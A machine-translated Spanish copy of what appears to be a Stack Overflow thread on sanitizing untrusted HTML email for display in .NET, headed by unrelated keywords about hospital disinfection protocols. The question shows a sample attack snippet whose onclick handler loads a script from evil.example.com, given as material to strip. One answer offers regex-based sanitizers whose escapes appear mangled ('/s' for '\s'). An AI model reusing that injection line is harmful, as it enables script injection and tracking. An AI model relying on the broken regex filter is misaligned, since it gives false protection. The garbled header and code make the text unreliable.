tecnicas superficies sanitizacion protocolo productos procedimiento por para oms metodos litro limpieza hospitalaria guia equipos desinfectar desinfeccion consultorios cloro cantidad alimentos agua html .net sanitization html-sanitizing

html - superficies - protocolo de limpieza y desinfeccion en consultorios



¿Qué puedo usar para desinfectar el HTML recibido y conservar el formato básico? (5)

Este es un problema común, espero que haya sido completamente resuelto para mí.

En un sistema que estoy haciendo para un cliente, queremos aceptar HTML de fuentes que no son de confianza (correo electrónico con formato HTML y también archivos HTML), desinfectarlo para que no tenga secuencias de comandos, enlaces a recursos externos y otra seguridad / etc. cuestiones; y luego mostrarlo de forma segura sin perder el formato básico. Por ejemplo, como lo haría un cliente de correo electrónico con un correo electrónico en formato HTML, pero idealmente sin repetir los 347,821 errores que se han cometido (hasta ahora) en ese campo. :-)

El objetivo es terminar con algo que nos resulte cómodo mostrar a los usuarios internos a través de un iframe en nuestra propia interfaz web, o a través de la clase WebBrowser en una aplicación .Net Windows Forms (que parece no ser más segura, posiblemente menos) , etc. Ejemplo a continuación.

Reconocemos que algo de esto puede arruinar la visualización del texto; esta bien.

Estaremos limpiando el HTML en el recibo y almacenando la versión desinfectada (no se preocupe por la parte de almacenamiento - inyección de SQL y similares - tenemos todo eso cubierto) .

El software deberá ejecutarse en Windows Server. COM DLL o ensamblaje .Net preferido. El software libre marcadamente preferido, pero no un factor decisivo.

Lo que he encontrado hasta ahora:

  • El proyecto AntiSamy.Net (pero parece que ya no está en desarrollo activo, ya que lleva más de un año detrás del proyecto principal y activo de AntiSamy Java ) .
  • Algún código de nuestro propio Jeff Atwood, hace aproximadamente tres años (Caramba, me pregunto qué estaría haciendo ...) .
  • El paquete de agilidad HTML (utilizado por el proyecto AntiSamy.Net anterior) , que me brindaría un analizador robusto; luego pude implementar mi propia lógica para recorrer el DOM resultante y filtrar todo lo que no hice en la lista blanca. El paquete de agilidad se ve realmente genial, pero dependería de mi propia lista blanca en lugar de reutilizar una rueda que alguien ya ha inventado, por lo que es un golpe contra ella.
  • La biblioteca Microsoft Anti-XSS

¿Qué recomendarías para esta tarea? Uno de los anteriores? ¿Algo más?

Por ejemplo, queremos eliminar cosas como:

  • elementos de script
  • link , img y elementos similares que llegan a recursos externos (probablemente reemplace a img con el texto "[imagen eliminada]" o algo similar)
  • embed , object , applet , audio , video y otras etiquetas que intentan crear objetos
  • Código de secuencia de comandos de controlador de eventos onclick y DOM0 similar
  • href en a elemento que activa el código (incluso los enlaces que creemos están bien, podemos convertirnos en texto simple que los usuarios deben copiar y pegar intencionalmente en un navegador).
  • __________ (las 722 cosas que no he pensado en eso son la razón por la que busco aprovechar algo que ya existe)

Así, por ejemplo, este HTML:

<!DOCTYPE html> <html> <head> <title>Example</title> <link rel="stylesheet" type="text/css" href="http://evil.example.com/tracker.css"> </head> <body> <p onclick="(function() { var s = document.createElement(''script''); s.src = ''http://evil.example.com/scriptattack.js''; document.body.appendChild(s);)();"> <strong>Hi there!</strong> Here''s my nefarious tracker image: <img src=''http://evil.example.com/xparent.gif''> </p> </body> </html>

se convertiría

<!DOCTYPE html> <html> <head> <title>Example</title> </head> <body> <p> <strong>Hi there!</strong> Here''s my nefarious tracker image: [image removed] </p> </body> </html>

(Tenga en cuenta que eliminamos el link y el onclick , y reemplazamos el img con un marcador de posición. Esto es solo un pequeño subconjunto de lo que creemos que necesitaremos eliminar).



Problema interesante, me tomé un tiempo para enfrentarlo porque hay muchas cosas que queremos eliminar del usuario imput, e incluso si hago una larga lista de cosas que eliminar, esto último en HTML puede evolucionar y mi lista tendría algunos agujeros. . No obstante, quiero que los usuarios ingresen algunas cosas simples como negrita, cursiva, párrafos ... realmente sencillos. No hay dudas de que la lista de cosas permitidas es más corta y que html puede cambiar más adelante, que no hará agujeros en mi lista a menos que html stops admita estas cosas simples. Así que empiece a pensar de otra manera, diga lo que permita, con mucho dolor porque no soy un experto en expresiones regulares (así que, por favor, algunas personas de expresiones regulares me corrigen o mejoran) codifiqué esta expresión y su forma de trabajo incluso antes de que llegue el HTML5.

replace(/(?!<[/]?(b|i|p|br)(/s[^<]*>|[/]>|>))<[^>]*>/gi,"")

(b | i | p | br) <- esta es la lista de etiquetas permitidas, siéntase libre de agregar algunas.

este es un punto de partida y es por eso que algunas personas de expresiones regulares deben mejorar para eliminar también los atributos, como onclick

si hago esto

(?!<[/]?(b|i|p|br)(/s*>|[/]>|>))<[^>]*>

las etiquetas con onclick u otras cosas se eliminarán, pero las etiquetas de cierre correspondientes permanecerán, y después de todo no queremos que se eliminen esas etiquetas, solo queremos eliminar los atributos de la etiqueta.

tal vez un segundo pase de expresiones regulares con

(?!<[^<>/s]+)/s[^</>]+(?=[/>])

estoy en lo cierto? ¿Se puede componer esto en una sola pasada?

Todavía no tenemos relación entre las etiquetas (apertura / cierre), no hay mucho hasta ahora. ¿Se puede escribir el atributo remove para eliminar todo de las listas blancas? (posiblemente sí).

un último problema ... al eliminar etiquetas como el script, el contenido permanece, es deseable al eliminar la fuente pero no el script , así que podemos hacer una primera pasada con

<(script|object|embed)[^>]*>.*<//1>

eso eliminará ciertas etiquetas y su contenido ... pero es una lista negra, lo que significa que debe vigilarla en caso de que html cambie.

nota: todos con "gi"

editar:

se unió todo lo anterior en esta función

String.prototype.sanitizeHTML=function (white,black) { if (!white) white="b|i|p|br";//allowed tags if (!black) black="script|object|embed";//complete remove tags e=new RegExp("(<("+black+")[^>]*>.*<///2>|(?!<[/]?("+white+")(//s[^<]*>|[/]>|>))<[^<>]*>|(?!<[^<>//s]+)//s[^</>]+(?=[/>]))", "gi"); return this.replace(e,""); }

-Lista negra -> completar eliminar etiqueta y contenido -Lista blanca -> retener etiquetas Se eliminan otras etiquetas, pero el contenido de la etiqueta se conserva, se eliminan todos los atributos de la etiqueta de la lista blanca (las restantes)

Todavía hay lugar para una lista blanca de atributos (no implementada anteriormente) porque si quiero conservar IMG, entonces la fuente debe permanecer ... ¿y qué hay del seguimiento de las imágenes?



Tengo la sensación de que definitivamente necesitaría un analizador que pueda generar una fuente XML / DOM para que pueda aplicar más información sobre él para producir lo que está buscando.

Vea si HtmlTidy o Mozilla o HtmlCleaner analizadores pueden ayudar. HtmlCleaner tiene muchas opciones configurables que también deberías considerar. Específicamente, la sección de transformación que le permite omitir las etiquetas que no necesita.


Yo sugeriría usar otro enfoque. Si controla el método en el que se visualiza el HTML, eliminaría todas las amenazas mediante el uso de un procesamiento HTML que no tenga un motor de script ECMA, o cualquier capacidad de XSS. Veo que va a utilizar el objeto WebBrowser incorporado y, con razón, desea producir HTML que no pueda usarse para atacar a sus usuarios.

Recomiendo buscar un motor de visualización HTML básico. Una que no puede analizar ni comprender ninguna de las funciones de scripting que lo harían vulnerable. Todo el javascript sería ignorado entonces.

Sin embargo, esto tiene otro problema. Debería asegurarse de que el espectador que está utilizando no sea susceptible a otros tipos de ataques.